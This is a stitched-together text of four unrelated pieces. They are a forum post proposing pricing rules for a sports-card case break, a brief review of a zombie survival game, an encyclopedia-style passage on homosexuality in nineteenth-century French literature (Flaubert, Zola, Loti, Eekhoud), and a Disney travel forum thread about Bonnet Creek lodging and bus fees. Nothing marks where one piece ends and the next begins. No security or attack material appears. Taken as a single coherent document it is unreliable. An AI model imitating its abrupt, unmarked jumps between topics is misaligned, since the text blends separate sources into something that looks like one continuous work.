I think it is the best way to go. I mean yeah a bonus team is nice but think about it:
You randomly get the worst of the remaining teams for Bowman Draft. Well you are omitted from a randomly assigned team until everyone gets one. How much are you really gaining from this? Versus we can get more money in the pot which means more product, which means more of you current team. Everyone benefits from this is some way.

Maybe the easiest way would be:
Remaining teams for 2010 Bowman Draft case are $45 each. If no one claims then go down to say $35 each for remaining teams... until we get down to whatever? And to be fair that everyone gets a chance to claim. If two people are willing to pay the same price for a team the that team goes to a ONE bid silent auction in which the higher offer gets the team for $1 more than the other member.

I'm ok with breaking 08 EEE I guess especially for the SB promo ... heh
Also, are we planning on auctioning off the non claimed teams each break or are you committed to this team for the duration at the auction price?

I don't want some random buyer paying a discount and then getting a random hit that could have gone to someone committed to the group. The only way I would sell one offs to outsiders is if they were excluded from cards that were randomed.

Or maybe there should be a rule that says:
If you are not paying full price $45/month for a team that team is omitted for getting randomly assign cards or being eligible for dual cards? So say you pay $20 for the White Sox in a break and a dual card representing Orioles/White Sox automatically goes to the Orioles.

My favorite game from the site is The Last Stand: Union City.It is a survival zombie game. I am probably the last person that you should speak to when the subject is about zombies, but the fact that there are multiple weapons, be them melee or long-range guns, is simply amazing and doing various quest for weapons or to find the main character's wife and rescue her is very cool.And the end is very surprising, although not pleasuring enough. If you're into shooting / strategy / zombie games, definitively this game is for you.

French Literature: Nineteenth Century
The Poèmes aristophanesques (1904) of Laurent Tailhade (1854-1919) includes a piece entitled "Le troisième sexe," and many other rather sarcastic references to homosexuality; only in his posthumously published erotic poetry in La Quintessence satyrique (1926) did he write joyously of gay sexuality. Albert Samain (1858-1900) and Marc-André Raffalovich (1864-1934) also wrote gay poetry. In his essay, "Conseils familiers à un jeune écrivain" (1896), the symbolist critic Rémy de Gourmont (1858-1915) pointed to the proliferation of gay writers at the end of the century. He advises heterosexuals to adopt the mannerisms of "inverts" in order to enhance their literary reputation, but counsels gay writers to maintain a certain reserve since too much openness might be damaging to their career. The Realist and the Naturalist Movements The realist movement (ca 1850-1865) and its successor, naturalism (ca 1865-95), though fascinated by lesbianism, avoided depictions of male homosexuality. The aim of realist authors was ostensibly to describe all phenomena in scientific detail, and naturalism pushed this aesthetic even further by documenting even the "basest" and heretofore most hidden aspects of the human character, including criminality and sexual deviance. So it is surprising that realist and naturalist fiction failed to turn its characteristically unflinching gaze to male homosexuality. Yet nonfictional texts by the mostly heterosexual-identified male authors associated with these movements suggest that it was not entirely foreign to them. For example, in the highly ironic Dictionnaire des idées reçues by Gustave Flaubert (1821-1880), "Pederasty" is defined as follows: "Sickness that affects all men at a certain age." Indeed, in his correspondence, Flaubert graphically describes his sexual encounters with young men, whereas in his fiction one finds only a passing allusion to "strange loves" that are "obscene unions as serious as marriage" (in his novel of ancient Carthage, Salammbô, 1862). Similarly, the Journal of the brothers Goncourt, Edmond (1822-1896) and Jules (1830-1870), contains numerous reflections on the activities of their contemporaries. This gossipy journal speculates on the sexuality of several authors who took pains to identify themselves as exclusively heterosexual (including Gautier, Barbey D'Aurevilly, and Maupassant), and relates stories about openly gay authors (Lorrain and Montesquiou, for example). In his novel Les Frères Zemganno (1879), Edmond evokes the more than familial love shared by the brothers. Zola not only created no gay male characters, he deliberately avoided a literary study of male homosexuality when offered the opportunity. In 1889, he received a letter and accompanying diary from a self-loathing young Italian homosexual, who wrote that "I could have been a delightful and adored woman, a mother and wife beyond reproach, but I am only an incomplete and monstrous being, desiring the impermissible." This anonymous gay man exhorted Zola to turn his literary talent to a study of homosexuality. Zola declined to use these confessions as the basis of a literary portrait; instead, he presented them to a medical doctor, Saint-Paul, who was working on a study of "inversion." Under the pseudonym of Laupts, Saint-Paul subsequently published the document as Roman d'un inverti-né in Archives d'Anthropologie criminelle et de psychologie normale et pathologique (1894-95), with a preface by Zola. Like Zola, Raffalovich also collaborated with psychiatrists and sexologists in new studies of sexual deviance. Unlike Zola, he was himself gay and has been called a homosexual militant. Raffalovich contributed numerous articles to the same medical review that published Le Roman d'un inverti-né. Grouped together in his volume Uranisme et unisexualité (1896), these articles set forth his theories on the difference between acquired and innate inversion. Similarly, the novelist and essayist Joséphin Péladan (1859-1918), who was obsessed by androgyny, explores this theme in his nineteen-volume La décadence latine (1886-1907). Although gay male literature flourished more openly in the poetry of the period, there were several important gay novelists at the end of the century, including especially Pierre Loti (pseudonym of Julien Viaud, 1850-1923) and the Belgian Georges Eekhoud (1854-1927). Loti, a naval officer, wrote numerous travel novels, many characterized by their oriental setting. His Aziyadé (1879) tells the story of a sea captain who falls in love with a harem woman who, quite likely, is really a man in female dress; the character of Aziyadé returns in Fantôme d'Orient (1891), where her gender is again ambiguous. In Aziyadé, as well as in Mon frère Yves (1883), the author also writes of passionate friendships between men. Eekhoud's Escal-Vigor (1900) is perhaps the most daring gay novel of the period. Banned as pornographic, it is among the first to focus unapologetically on gay relationships. In L'Autre vue (1904), Eekhoud's protagonist becomes a prison guard in order to seduce adolescent delinquents.

I m trying to put together a trip in may and I believe all the DVC studio suites are booked, what would you guys do? I was thinking of (wait for it) - trying Bonnet Creek! I know it's not technically a WDW resort but thought I might get more for our money staying there. My only other option if I can't rent points would be a moderate or value. What would you do? TIA!!
I fear that you may not get any resolution just by asking, "what would you do?" There are the die-hard onsite folks who would say "Go Deluxe!" and those who value a good deal that would say, "Stay offsite!" Neither group takes into account your previous Disney experiences, traveling preferences, group size, budget, etc. If you want people to advise as to what you should do, please provide more info. I have done both and cannot recommend either without knowing more about you! Also, there are a few locations with the phrase "Bonnet Creek" in the name do you'll need to specify which one you're referring to.
Sorry we have mostly stayed onsite and go 1 or 2 times a year, we have stayed all levels of resorts (but only rent DVC points for our deluxe stays), I won't pay through disney for deluxe resorts in order to keep up with our multi trip years! I have a friend who I rent points from and she thinks all studios are booked for when I would like to travel so I was thinking of staying at the Bonnet Creek that is "on property", but I m a little afraid of feeling like we are away from Disney! I m a Disney fanatic but for the money the rooms look awesome! But I don't want to feel disconnected from the magic, and my son is a bus riding fool so I wasn't sure if they had bus service as well. So I just thought I would see if anyone who loves staying at WDW has stayed close but not "on" and enjoyed it.
My advice would be to give it a try! Since you go fairly often I think it's worth the risk to find out what you are/are not missing. If you only went once every 10 years and loved staying on property I would be hesitant to suggest giving it a try. I would want your once-in-a-decade trip to be ruined because your resort didn't have that Disney magic! . The only way to find out if it's for you is to stay there! When we went to Disney last March we did a POP, WBC, POR split stay. While I'm not an expert, I can easily understand both sides of the onsite vs offsite debate. There are pros and cons to each. Since you're already accustomed to the DVC housekeeping schedule, you'll find WBC to be the same. Yes, there are busses to the Disney parks and DTD. They recently instituted a $12/day bus fee that is paid when you arrive. If you want to know more about the resort, there's a very popular thread titled "We loooooove Bonnet Creek" thread (or something like that). I'd link to it but I'm mobile so I can't right now. There's tons of info such as who to rent from, what rooms/towers to request for a fireworks view, etc. Happy Planning!
They have already changed the $12 fee for bus riding. It's now $5 per person for the round trip ride. There are a bunch of Bonnet Creek thread. Just search for them.
